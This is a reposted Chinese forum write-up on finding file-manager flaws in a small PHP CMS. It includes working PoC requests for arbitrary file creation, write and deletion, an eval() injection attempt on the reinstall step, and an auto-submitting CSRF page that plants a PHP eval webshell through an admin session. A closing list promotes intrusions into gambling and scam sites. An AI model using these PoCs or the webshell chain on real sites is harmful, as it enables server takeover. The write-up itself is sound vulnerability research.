安全矩阵

 找回密码
 立即注册
搜索
查看: 2746|回复: 0

某次通用型漏洞挖掘思路分享(完整的挖洞流程)

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-4-10 13:03:10 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2022-4-10 13:04 编辑

某次通用型漏洞挖掘思路分享(完整的挖洞流程)
Hacking黑白红
2022-04-09 20:39
文章来源:先知社区(ajie)
原文地址:https://xz.aliyun.com/t/10539


0x01 前言
大概是在上半年提交了某个CMS的命令执行漏洞,现在过了那么久,也想通过这次挖掘通用型漏洞,整理一下挖掘思路,分享给大家。


0x02 挖掘前期

一、CMS选择

如果你是第一次挖白盒漏洞,那么建议你像我一样,先找一些简单的来挖掘。

具体源码下载地址可以参考:

  1. https://github.com/search?q=cms
  2. https://search.gitee.com/?skin=rec&type=repository&q=cms
  3. https://down.chinaz.com/
  4. https://www.a5xiazai.com/
  5. ......
复制代码


百度找找,肯定不止这些


那么应该怎么选择呢(这里我是站在第一次挖掘,或者仅使用过扫描工具扫描的师傅的角度这样说的,
如果做过开发,代码功底很强等情况,emm...当我没说。):
​​​​​​​
  1. 1、找最新版的版本较低的,例如1.1、1.2
  2. 2、找github star不多的
  3. 3、找源码总容量小的
  4. 4、尽量不要找使用tp、yii、laravel等框架型CMS
复制代码


这里说一下理由:
1、如果cms版本高,说明开发有经常维护,同时也说明里面的简单漏洞已经被发现并且被提交并整改了。(具体这个可以看看CMS官网放出的更新日志)

2、为什么找github star不多的cms?很简单,使用的人不多,没人标星,功能也比较少。

3、源码少容易看啊,而且想着源代码就那么点,看着也不会太心累。

4、这是我个人的理解哈,因为就像很多人说的,第一个审的可以看看bluecms。为什么?因为简单啊,tp框架首先各种C方法,I方法的,就够头疼了。





扯了那么多,总结一句话:

跟挖SRC一样,如果你一开始就瞄着阿里SRC、百度SRC等来挖掘,一直挖不到洞,是不是心态崩了呢;如果你一开始
借助nday的poc,结合fofa搜集资产,一下子就能挖到简单、小型企业的漏洞,虽然可能漏洞奖金不多、但是满满的成就感有没有~

代码审计也是一样的,一开始就找框架型的,MVC架构的CMS,不仅可能看不懂代码,还可能连路由都弄不懂呢。所以一开始还是找些简单的练练手比较好~


二、环境准备1、PHPstudy

PHP、中间件、数据库,一个软件搞定,反正我是觉得用着很香。


2、代码扫描工具

目前的话我用的比较多的是seay和fortify。这里其实都一样,不是所有漏洞都是要通读代码来发现的,有的时候借助工具可以快很多。



3、BurpSuite

渗透测试神器级别的工具,这里不多介绍了,毕竟挖漏洞不抓包怎么行呢。


4、漏洞扫描工具

虽然我们拿到了源码,但是挖漏洞也不一定要从代码上进行呀,可以结合黑盒的方式,黑白盒一起,更容易挖到漏洞,也就是业内说的灰盒测试。

扫描工具这里推荐Xray+burp联动进行。随便抓几个包,有没有漏洞一目了然,让我们可以在测试漏洞的时候,还同时进行扫描。


5、编辑器

编辑器的作用是方便查看代码,在有需要的时候才用,这里可以算是我水字数吧,我个人比较喜欢nopad++,当然别的
也是可以的,phpstorm最好,可以快捷进行函数跳转。

工具下载地址:
​​​​​​​
  1. https://www.xp.cn/
  2. https://github.com/f1tz/cnseay
  3. https://github.com/chaitin/xray/releases
复制代码


三、搭建环境

1、首先下载源码,解压并放到phpstudy安装目录下的WWW文件夹中


2、安装方法一般是请求http://127.0.0.1/install/就可以了,按照提示输入信息。


3、提示安装成功即可



0x03 挖掘中期

一、代码扫描
借助seay自带的自动审计功能进行代码扫描


二、黑白盒配合发现漏洞

这个其实是很有搞头的,这里没有详细说是因为当时确实重心在白盒上,实际上我感觉这个发现漏洞再去找对应的代码,会更加有趣些。


1、浏览器设置代理,指向burp:127.0.0.1:8080



2、burp设置代理,指向xray:127.0.0.1:7777


3、开启xray被动扫描,命令:
  1. ./xray_darwin_amd64 webscan --listen 127.0.0.1:7777 --html-output test.html
复制代码





4、在每个功能点都点一点,就跟正常测黑盒即可


5、查看xray扫描结果


6、查看代码扫描结果


三、分析扫描结果
1、将结果一个个点击查看,分析漏洞是否真实存在
因为工具是按照正则匹配来进行扫描的,总会出现一些可能存在,但是实际不存在的情况,例如这个:


因为$_G['SYSTEM']['PATH']疑似为可控变量,所以爆出任意文件包含漏洞,那么实际上,往上看可以发现$_G['SYSTEM']['PATH']其实已经事先定义好了。



2、定位漏洞
1)发现一个file_get_contents,可控变量为$path


往前看,$path为我们直接get传入,只是做了一些限制与鉴权,没有进行过滤

  1. $path = realpath($_GET['path']);
  2. if (!$path) {
  3.     if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$_G['GET']['JSON']) {
  4.         PkPopup('{content:"不存在的路径,请求路径:' . $_GET['path'] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
  5.     }
  6.     ExitJson('不存在的路径,请求路径:' . $_GET['path']);
  7. }
  8. $_G['TEMP']['PATH'] = iconv('GBK', 'UTF-8//IGNORE', $path);
  9. if (strpos($path, $spath) !== 0) {
  10.     if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$_G['GET']['JSON']) {
  11.         PkPopup('{content:"越权操作,请求路径:' . $_GET['path'] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
  12.     }
  13.     ExitJson('越权操作,请求路径:' . $_GET['path']);
  14. }

  15. switch ($type) {
  16.     case 'edit' :
  17.         if (filetype($path) != 'file') {
  18.             if ($_G['GET']['JSON']) {
  19.                 ExitJson('不存在的文件');
  20.             }
  21.             PkPopup('{content:"不存在的文件",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
  22.         }
  23.         $suffix = substr($path, strrpos($path, '.') + 1);
  24.         if (!InArray($suffixs, $suffix)) {
  25.             if ($_G['GET']['JSON']) {
  26.                 ExitJson('不支持的文件格式');
  27.             }
  28.             PkPopup('{content:"不支持的文件格式",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
  29.         }
  30.         $filecontent1 = file_get_contents($path);
  31.         $filecontent = htmlspecialchars($filecontent1, ENT_QUOTES);
  32.         if ($filecontent1 && !$filecontent) {
  33.             if ($_G['GET']['JSON']) {
  34.                 ExitJson('不支持该文件编码,仅支持UTF-8');
  35.             }
  36.             PkPopup('{content:"不支持该文件编码,仅支持UTF-8",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
  37.         }
  38.         if ($_G['GET']['JSON']) {
  39.             ExitJson($filecontent1, TRUE);
  40.         }
  41.         $path = str_replace('\\', '/', $path);
  42.         $paths = explode('/', $path);
  43.         $path = '';
  44.         for ($i = 0; $i < count($paths); $i++) {
  45.             if ($i == count($paths) - 1) {
  46.                 $filename = $paths[$i];
  47.             } else {
  48.                 $path .= $paths[$i] . '/';
  49.             }
  50.         }
  51.         ExitGourl('index.php?c=app&a=filesmanager:index&path=' . urlencode(realpath($path)) . '&editbtn=' . md5($filename));
  52.         break;
复制代码


2)往下看,对$path进行unlink(),即删除操作

  1. case 'del' :
  2.         $r = unlink($path);
  3.         ExitJson('操作完成', $r);
  4.         break;
复制代码


3)再往下,传入mkname,使用file_put_contents进行文件创建,内容为空。很明显只是检测是否存在重复创建的情况,未进行过滤。

  1. case 'mkfile' :
  2.         $mkname = $_GET['mkname'];
  3.         if (!$mkname) {
  4.             ExitJson('请输入目录或文件的名称');
  5.         }
  6.         if ($type == 'mkdir') {
  7.             if (file_exists($path . "/{$mkname}")) {
  8.                 ExitJson('目录已存在');
  9.             }
  10.             $r = mkdir($path . "/{$mkname}");
  11.         } else {
  12.             if (file_exists($path . "/{$mkname}")) {
  13.                 ExitJson('文件已存在');
  14.             }
  15.             $r = file_put_contents($path . "/{$mkname}", '');
  16.         }
  17.         ExitJson('操作完成', $r === FALSE ? FALSE : TRUE);
  18.         break;
  19. }
复制代码


3、研究路由,查看如何调用漏洞函数
1)首先查看这个漏洞路径,字面上意思是在/app/目录下的一个文件管理的操作
  1. /app/filesmanager/index.php
复制代码




2)回到网站,刚刚黑盒测试的时候,发现路由规律为:




请求了http://url/index.php?c=read&id=1&page=1后,会发出这样的一个请求:
  1. /index.php?c=app&a=puyuetianeditor:index&s=myfiles&page=1
复制代码




通过a=puyuetianeditor:index,定位文件位置为/app/puyuetianeditor/index.php


3)在文件中看到继续请求了'/app/puyuetianeditor/phpscript/' . $_G['GET']['S'] . '.php,在URL中可以看到s传入的参数为myfiles,所以可以定位文件路径为:
  1. /app/puyuetianeditor/phpscript/myfiles.php
复制代码





4)漏洞路径/app/filesmanager/index.php即可以对应URL
  1. /?c=app&a=filesmanager:index
复制代码




四、验证漏洞
任意创建文件
1、搭建网站并登录进网站后台



2、漏洞存在点为/app/filesmanager/index.php




3、进行一些操作后,通过file_put_contents创建文件,poc:
  1. http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=mkfile&mkname=123.php
复制代码





4、在网站根目录可以看到文件创建成功


任意文件写入poc:​​​​​​​
  1. http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=save&path=123.php
  2. POST:
  3. filecontent=<?php phpinfo();?>
复制代码



可以看到文件内容成功写入


尝试执行命令


任意文件删除
poc:
  1. http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=del&path=123.php
复制代码





漏洞文件存在的路径为/app/filesmanager/index.php


可以看到123.php文件已成功删除。


五、组合漏洞扩大成果
1、任意文件删除配合系统重装(失败)
以前就有看到过这样的漏洞,因为系统重装的时候,会将用户输入的配置信息写入到php文件中,那么如果可以输入代码,便可以成功执行了,这里尝试一下。

1)首先查看index.php文件
只要install.locked文件存在即表示网站已安装



2)再看/install/index.php,可以看到也是这个文件存在即不能重装系统。



3)通过任意文件删除,将此文件进行删除:
  1. http://192.168.150.9/index.php?c=app&a=filesmanager:index&type=del&path=C://phpStudy/WWW/install/install.locked
复制代码





4)访问/install/index.php即可进行重装系统操作



5)正常执行,在step=2的时候,输入数据库等信息




定位到/phpscript/environment.php文件



再到/template/environment.hst


发现关键字mysql_username


全局搜索一下,定位文件位置:



可以看到配置信息最后会写入到这里。


6)抓取传入信息的数据包,进行测试


多次fuzz,确认确实可以写入一些东西
​​​​​​​
  1. POST /install/index.php?step=3 HTTP/1.1
  2. Host: 192.168.150.9
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0
  4. Accept: application/json, text/javascript, */*; q=0.01
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  8. X-Requested-With: XMLHttpRequest
  9. Content-Length: 302
  10. Origin: http://192.168.150.9
  11. Connection: close
  12. Referer: http://192.168.150.9/install/index.php?step=2
  13. Cookie: PHPSESSID=b9imt0v97o8hsml01jr0tro9n3; UIA=KXoyLywxNlo2YDQtLl8tX2BlMjAqLzUqX103Y1xlZWBcMzFeXi4xXjQsYDBeMC8tZDEsXjIxMCoxLjIvXmQ1Y14w; app_puyuetianeditor_editcontent=%3Cbr%3E

  14. _webos=*&mysql_type=mysql&mysql_location=127.0.0.1&mysql_username=root&mysql_password=root&mysql_database='eval($_REQUEST[1])&mysql_prefix=pk_&mysql_charset=set+names+utf8&adminusername=phpinfo();&adminpassword=phpinfo();&adminemail=admin%40qq.com&hs_username=&hs_password=&hs_domain=192.168.150.9
复制代码




7)最后发现不能传入;,否则会报错



8)假设传入进去了,又会显示403



9)感觉有机会,后面就看师傅们尝试了。。。


2、任意文件写入配合CSRF(成功)
在dedecms中看到过的漏洞,因为后台的任意写文件在没有管理员权限的支持下无法利用,那么倘若配合CSRF漏洞,借用管理员的cookie便可以直接执行,扩大漏洞危害。


在这里尝试一下:
1)首先抓取写入文件的数据包,可以看到没有明显的token等字段


2)在漏洞文件中只是看到了权限检测



3)使用burp生成任意文件写入的CSRF漏洞POC,保存为test.html




4)生成任意文件创建的CSRF漏洞POC



5)将两个文件整合到一起,并设置自动提交
​​​​​​​
  1. <html>
  2.   <!-- CSRF PoC - generated by Burp Suite Professional -->
  3.   <body>
  4.   <script>history.pushState('', '', '/')</script>
  5.     <form id='test1' action="http://192.168.150.9/index.php">
  6.       <input type="hidden" name="c" value="app" />
  7.       <input type="hidden" name="a" value="filesmanager:index" />
  8.       <input type="hidden" name="type" value="mkfile" />
  9.       <input type="hidden" name="mkname" value="123.php" />
  10.       <input type="submit" value="Submit request" />
  11.     </form>
  12.     <form id='test2' action="http://192.168.150.9/index.php?c=app&a=filesmanager:index&type=save&path=123.php" method="POST">
  13.       <input type="hidden" name="filecontent" value="<?php eval($_REQUEST[1]);?>" />
  14.       <input type="submit" value="Submit request" />
  15.     </form>
  16.     <script>
  17.         function test1() {
  18.             document.getElementById("test1").submit();
  19.         }
  20.         function test2() {
  21.             document.getElementById("test2").submit();
  22.         }
  23.         setTimeout(test1,100)
  24.         setTimeout(test2,200)
  25. </script>
  26.   </body>
  27. </html>
复制代码



6)在已登录的浏览器中打开test.html文件,跳转了几次后,显示ok,保存失败



跟前面任意文件写入的返回是一样的,在网站根目录可以看到已经成功写入了



执行命令



0x04 挖掘后期&总结
挖掘后干嘛?提交漏洞呗~
好的,这个算是刚开始学习没多久挖掘到的漏洞,其实现在觉得技术含量不高,发现漏洞也不难,主要想分享一下过程以及思路。

最后,希望看到这篇文章到小伙伴也能很快挖掘到通用型漏洞~


渗透实战系列

【渗透实战系列】|43-某次通用型漏洞挖掘思路分享
【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战
【渗透实战系列】|41-记一次色*情app渗透测试
【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)
▶【渗透实战系列】|39-BC渗透的常见切入点(总结)
【渗透实战系列】|38-对某色情直播渗透
【渗透实战系列】|37-6年级小学生把学校的网站给搞了!
【渗透实战系列】|36-一次bc推广渗透实战
【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透
【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链
【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP
【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站
【渗透实战系列】|31-记一次对学校的渗透测试
【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)
【渗透实战系列】|29-实战|对某勒索APP的Getshell
【渗透实战系列】|28-我是如何拿下BC站的服务器
【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)
【渗透实战系列】|26一记某cms审计过程(步骤详细)
【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程
【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法
【渗透实战系列】|23-某菠菜网站渗透实战
【渗透实战系列】|22-渗透系列之打击彩票站
【渗透实战系列】|21一次理财杀猪盘渗透测试案例
【渗透实战系列】|20-渗透直播网站
【渗透实战系列】|19-杀猪盘渗透测试
【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)
【渗透实战系列】|17-巧用fofa对目标网站进行getshell
【渗透实战系列】|16-裸聊APP渗透测试
【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点
【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试
【渗透实战系列】|13-waf绕过拿下赌博网站
【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局
【渗透实战系列】|11 - 赌博站人人得而诛之
【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)
【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)
【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)
【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例
【渗透实战系列】|6- BC杀猪盘渗透一条龙
【渗透实战系列】|5-记一次内衣网站渗透测试
【渗透实战系列】|4-看我如何拿下BC站的服务器
【渗透实战系列】|3-一次简单的渗透
【渗透实战系列】|2-记一次后门爆破到提权实战案例
【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 07:19 , Processed in 0.017709 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表